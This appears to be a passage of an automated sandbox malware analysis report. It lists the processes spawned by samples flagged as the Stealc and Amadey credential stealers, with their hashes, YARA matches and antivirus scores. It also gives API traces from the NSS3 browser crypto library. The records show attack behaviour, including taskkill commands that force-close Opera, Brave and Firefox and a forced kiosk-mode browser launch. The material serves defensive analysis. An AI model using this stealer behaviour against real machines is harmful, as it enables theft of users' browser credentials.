Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x190000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	23:55:54
Start date:	25/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	23:55:54
Start date:	25/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x190000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	23:55:54
Start date:	25/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	23:55:54
Start date:	25/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe"
Imagebase:	0xba0000
File size:	1'834'496 bytes
MD5 hash:	3833A1B7C23D66EECEC6B16DDF5CF540
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000002.2901676931.0000000000BA1000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000003.2852632926.00000000050C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000002.2908035174.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	23:55:55
Start date:	25/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://www.facebook.com/video" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	23:55:55
Start date:	25/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	23:55:55
Start date:	25/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	23:55:56
Start date:	25/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2320 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2216 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {42e60347-4193-4a06-98d1-e931f84d08bb} 6604 "\\.\pipe\gecko-crash-server-pipe.6604" 1e752c6cf10 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	23:55:57
Start date:	25/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001608001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001608001\num.exe"
Imagebase:	0x860000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3015827110.000000000076E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3019501243.0000000000861000.00000080.00000001.01000000.00000019.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000000.2857203948.0000000000861000.00000080.00000001.01000000.00000019.sdmp, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	23:55:59
Start date:	25/10/2024
Path:	C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe"
Imagebase:	0xe30000
File size:	1'887'744 bytes
MD5 hash:	85B5560CBE6CB2FC83058376490E1CFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000021.00000003.2906938578.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000021.00000002.2950501488.0000000000E31000.00000040.00000001.01000000.0000001A.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	23:56:03
Start date:	25/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe"
Imagebase:	0x8f0000
File size:	919'040 bytes
MD5 hash:	EE970780C371D5BD42992B92132F5014
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	23:56:04
Start date:	25/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x190000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	23:56:04
Start date:	25/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 050400EB Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2122631531.0000000005040000.00000040.00001000.00020000.00000000.sdmp, Offset: 05040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5040000_6IF65DE3AL7UEH5E4W09DIZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9871772e00787edb95d5181bfe67a6c9ddbb78b8eb9d9613982d007dddd71865
Instruction ID: 5102ed537ebfc88fd9872a9d69fd26963dd58738ac8c6f2fd09af9b835e59ee9
Opcode Fuzzy Hash: 9871772e00787edb95d5181bfe67a6c9ddbb78b8eb9d9613982d007dddd71865
Instruction Fuzzy Hash: 2811F8EB24C210BD7042D5867F68EFEA76EE5C6A30334883BF907D9642E2890E496531

Function 050400F1 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2122631531.0000000005040000.00000040.00001000.00020000.00000000.sdmp, Offset: 05040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5040000_6IF65DE3AL7UEH5E4W09DIZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de1820cbbe9d386401796f09b69a2d64597aa3a7a93a86ef781a053ff9d4d819
Instruction ID: e54a981664f7eb5828d216d3405615a99a3f481b3d027fa4a30e07ffd5d3a6ca
Opcode Fuzzy Hash: de1820cbbe9d386401796f09b69a2d64597aa3a7a93a86ef781a053ff9d4d819
Instruction Fuzzy Hash: A1111CEB248220BD7102D5857F68EFFA7AEE5C6A30334883BF502D9541E3D90E496531

Function 05040124 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2122631531.0000000005040000.00000040.00001000.00020000.00000000.sdmp, Offset: 05040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5040000_6IF65DE3AL7UEH5E4W09DIZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4547c156bbfcede7e41d71d2d0b4be830856a6cb4497572217d4cf33a81b508c
Instruction ID: a36b263b60f731336732123e6546e1ae9a36c48a0d70515617a162749c36df0c
Opcode Fuzzy Hash: 4547c156bbfcede7e41d71d2d0b4be830856a6cb4497572217d4cf33a81b508c
Instruction Fuzzy Hash: A10140EB14C210BD7142C1863B68AFE6BAFE5C76303348437F507D9646E3890A8E5531

Function 05040148 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2122631531.0000000005040000.00000040.00001000.00020000.00000000.sdmp, Offset: 05040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5040000_6IF65DE3AL7UEH5E4W09DIZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa0def16b8d9baf77a3ef445a964360243bd48cef77850a14419fd57e89ba796
Instruction ID: 29c165a8946c641a57f017010d633b3ea5891dad063b730779eb0f412b8e698c
Opcode Fuzzy Hash: fa0def16b8d9baf77a3ef445a964360243bd48cef77850a14419fd57e89ba796
Instruction Fuzzy Hash: 4801F2F7188210AE6142D1463B689FEBBAFF5C36303348437F503DA642F38A0A896631

Function 05040167 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2122631531.0000000005040000.00000040.00001000.00020000.00000000.sdmp, Offset: 05040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5040000_6IF65DE3AL7UEH5E4W09DIZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f323ce9fb3befc81369b854e8f802034b7663f793778f616e44347633f781d0
Instruction ID: 3ec59b0e57ec6b9c7e9350cd7d242670175409687f35b9710e1e13c5414e10f5
Opcode Fuzzy Hash: 0f323ce9fb3befc81369b854e8f802034b7663f793778f616e44347633f781d0
Instruction Fuzzy Hash: 41F090EB098210BC704290863B6C9FEAB6FE0D76303348437F503E9642E2C90A9D5531

Function 05040182 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2122631531.0000000005040000.00000040.00001000.00020000.00000000.sdmp, Offset: 05040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5040000_6IF65DE3AL7UEH5E4W09DIZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 060070659989e8a77eac9f64cbc4f46a6064d231daddfdd685f1f90f238db00f
Instruction ID: 8f893e92f27abd6c539f70d56e90affe3c2c3b9ae74852e1053477f2f53eaf8a
Opcode Fuzzy Hash: 060070659989e8a77eac9f64cbc4f46a6064d231daddfdd685f1f90f238db00f
Instruction Fuzzy Hash: 22F012EB188210BD604291863B2C9FE6B6FF1D76303348437F503D9942E2C90B9D5531

Function 05040192 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2122631531.0000000005040000.00000040.00001000.00020000.00000000.sdmp, Offset: 05040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5040000_6IF65DE3AL7UEH5E4W09DIZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12ccd63065842ef231a788f9d0dcb3c0d402bc80d03d5ceb31ee482213f87fce
Instruction ID: c45451e70c21a4667c9c88649faa2f14796fe6618bfb58221174f4ed412d27cd
Opcode Fuzzy Hash: 12ccd63065842ef231a788f9d0dcb3c0d402bc80d03d5ceb31ee482213f87fce
Instruction Fuzzy Hash: A3F030EB198210BD7042D1893B28DFEAB6FF0C7630330C437F902D9542E2C90A995531

Function 050401A5 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2122631531.0000000005040000.00000040.00001000.00020000.00000000.sdmp, Offset: 05040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5040000_6IF65DE3AL7UEH5E4W09DIZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fe8da72d382b3dfa71c55602236742f31b15ed3e3e1fce4d63dbe74b6db6d09
Instruction ID: 0f9a5dfd84904ee34324f08c42afea3ab845f2c4ef540e8c6a911eb8d978c9f0
Opcode Fuzzy Hash: 4fe8da72d382b3dfa71c55602236742f31b15ed3e3e1fce4d63dbe74b6db6d09
Instruction Fuzzy Hash: 24F027EB088500AEB04381953B199FEAB6FF5C3B303308433F507C7642E2D9065C5131

Analysis Process: K7IHXYTNUQJPI2M9UU0ECLE1K.exePID: 5460, Parent PID: 7488COMMON

Non-executed Functions

Function 6C636E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C782120,6C637E60), ref: 6C636EBC
TlsGetValue.KERNEL32 ref: 6C636EDF
EnterCriticalSection.KERNEL32(?), ref: 6C636EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C636F25

Part of subcall function 6C60A900: TlsGetValue.KERNEL32(00000000,?,6C7814E4,?,6C5A4DD9), ref: 6C60A90F
Part of subcall function 6C60A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C60A94F

PR_Unlock.NSS3 ref: 6C636F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C636FA9
TlsGetValue.KERNEL32 ref: 6C6370B4
EnterCriticalSection.KERNEL32(?), ref: 6C6370C8
PR_CallOnce.NSS3(6C7824C0,6C677590), ref: 6C637104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C637117
SECOID_Init.NSS3 ref: 6C637128
PORT_Alloc_Util.NSS3(00000057), ref: 6C63714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C63717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6371A9
PR_NotifyAllCondVar.NSS3 ref: 6C6371CF
PR_Unlock.NSS3 ref: 6C6371DD
free.MOZGLUE(?), ref: 6C6371EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C637208
free.MOZGLUE(00000000), ref: 6C637221
free.MOZGLUE(00000001), ref: 6C637235
TlsGetValue.KERNEL32 ref: 6C63724A
EnterCriticalSection.KERNEL32(?), ref: 6C63725E
PR_NotifyCondVar.NSS3 ref: 6C637273
PR_Unlock.NSS3 ref: 6C637281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C637291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6372B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6372D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6372E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C637301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C637310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C637335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C637344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C637363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C637372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C770148,,defaultModDB,internalKeySlot), ref: 6C6374CC
free.MOZGLUE(00000000), ref: 6C637513
free.MOZGLUE(00000000), ref: 6C63751B
free.MOZGLUE(00000000), ref: 6C637528
free.MOZGLUE(00000000), ref: 6C63753C
free.MOZGLUE(00000000), ref: 6C637550
free.MOZGLUE(00000000), ref: 6C637561
free.MOZGLUE(00000000), ref: 6C637572
free.MOZGLUE(00000000), ref: 6C637583
free.MOZGLUE(00000000), ref: 6C637594
free.MOZGLUE(00000000), ref: 6C6375A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C6375BD
free.MOZGLUE(00000000), ref: 6C6375C8
free.MOZGLUE(00000000), ref: 6C6375F1
PR_NewLock.NSS3 ref: 6C637636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C637686
PR_NewLock.NSS3 ref: 6C6376A2

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C6376B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C637707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C63771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C637731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C63774A
DeleteCriticalSection.KERNEL32(?), ref: 6C637770
free.MOZGLUE(?), ref: 6C637779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C63779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6377AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C6377C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6377DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C637821
PORT_Alloc_Util.NSS3(?), ref: 6C637837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C63785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C63786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C6378AC
free.MOZGLUE(00000000), ref: 6C6378BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C6378F3
free.MOZGLUE(00000000), ref: 6C6378FC
free.MOZGLUE(00000000), ref: 6C63791C

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

Strings

NSS Internal Module, xrefs: 6C6374A2, 6C6374C6
,defaultModDB,internalKeySlot, xrefs: 6C63748D, 6C6374AA
dbm:, xrefs: 6C637716
rdb:, xrefs: 6C637744
kbi., xrefs: 6C637886
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C6374C7
dll, xrefs: 6C63788E
sql:, xrefs: 6C6376FE
extern:, xrefs: 6C63772B
Spac, xrefs: 6C637389

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 61a9e73e295d2fa28bda68bbe228d9bc83f849969015012f08dc2c632907c223
Instruction ID: 21ec3afcd950a6e91ba28d9d334f9e1843a247c15e295ee562027f9e7a83d304
Opcode Fuzzy Hash: 61a9e73e295d2fa28bda68bbe228d9bc83f849969015012f08dc2c632907c223
Instruction Fuzzy Hash: A65227B1E01225DBEF118F64CE087AA7BB4BF06349F146038ED0DA7A41E731D954CBA9

Function 6C65BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6C65C0C8

Part of subcall function 6C6E9440: LeaveCriticalSection.KERNEL32 ref: 6C6E95CD
Part of subcall function 6C6E9440: TlsGetValue.KERNEL32 ref: 6C6E9622
Part of subcall function 6C6E9440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6C6E964E

PR_EnterMonitor.NSS3 ref: 6C65C0AE

Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E91AA
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9212
Part of subcall function 6C6E9090: _PR_MD_WAIT_CV.NSS3 ref: 6C6E926B

Part of subcall function 6C610600: GetLastError.KERNEL32(?,?,?,?,?,6C6105E2), ref: 6C610642
Part of subcall function 6C610600: TlsGetValue.KERNEL32(?,?,?,?,?,6C6105E2), ref: 6C61065D
Part of subcall function 6C610600: GetLastError.KERNEL32 ref: 6C610678
Part of subcall function 6C610600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6C61068A
Part of subcall function 6C610600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C610693
Part of subcall function 6C610600: PR_SetErrorText.NSS3(00000000,?), ref: 6C61069D
Part of subcall function 6C610600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,2E21D3EF,?,?,?,?,?,6C6105E2), ref: 6C6106CA
Part of subcall function 6C610600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6C6105E2), ref: 6C6106E6

PR_EnterMonitor.NSS3 ref: 6C65C0F2
PR_ExitMonitor.NSS3 ref: 6C65C10E
PR_ExitMonitor.NSS3 ref: 6C65C081

Part of subcall function 6C6E9440: TlsGetValue.KERNEL32 ref: 6C6E945B
Part of subcall function 6C6E9440: TlsGetValue.KERNEL32 ref: 6C6E9479
Part of subcall function 6C6E9440: EnterCriticalSection.KERNEL32 ref: 6C6E9495
Part of subcall function 6C6E9440: TlsGetValue.KERNEL32 ref: 6C6E94E4
Part of subcall function 6C6E9440: TlsGetValue.KERNEL32 ref: 6C6E9532
Part of subcall function 6C6E9440: LeaveCriticalSection.KERNEL32 ref: 6C6E955D

PR_EnterMonitor.NSS3 ref: 6C65C068

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

Part of subcall function 6C610600: GetProcAddress.KERNEL32(?,?), ref: 6C610623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6C65C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6C65C183
free.MOZGLUE(00000000), ref: 6C65C18E
PR_LoadLibrary.NSS3(?), ref: 6C65C1A3
PR_EnterMonitor.NSS3 ref: 6C65C1D4
PR_ExitMonitor.NSS3 ref: 6C65C1F3
PR_CallOnce.NSS3(6C782318,6C65CA70), ref: 6C65C210
PR_EnterMonitor.NSS3 ref: 6C65C22B
PR_ExitMonitor.NSS3 ref: 6C65C247
PR_EnterMonitor.NSS3 ref: 6C65C26A
PR_ExitMonitor.NSS3 ref: 6C65C287
PR_UnloadLibrary.NSS3(?), ref: 6C65C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6C65C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C65C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6C65C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6C65C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6C65C7B5
PR_UnloadLibrary.NSS3(?), ref: 6C65C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6C65C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C65C8BF
PORT_Alloc_Util.NSS3(?), ref: 6C65C8D5
free.MOZGLUE(00000000), ref: 6C65C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C65C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C65C9E5
free.MOZGLUE(00000000), ref: 6C65CA5A

Strings

NSS_FORCE_TOKEN_LOCK, xrefs: 6C65C77D
nss_mod_log, xrefs: 6C65C3CC
NSS_DISABLE_UNLOAD, xrefs: 6C65C7B0
PKCS 11, xrefs: 6C65C2F9, 6C65C314
NSS_DEBUG_PKCS11_MODULE, xrefs: 6C65C38D
NSS_ReturnModuleSpecData, xrefs: 6C65C275
Vendor NSS FIPS Interface, xrefs: 6C65C34A
NSC_GetFunctionList, xrefs: 6C65C093
NSC_GetInterface, xrefs: 6C65C04F
NSC_ModuleDBFunc, xrefs: 6C65C0FC
FC_GetFunctionList, xrefs: 6C65C098
FC_GetInterface, xrefs: 6C65C054

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
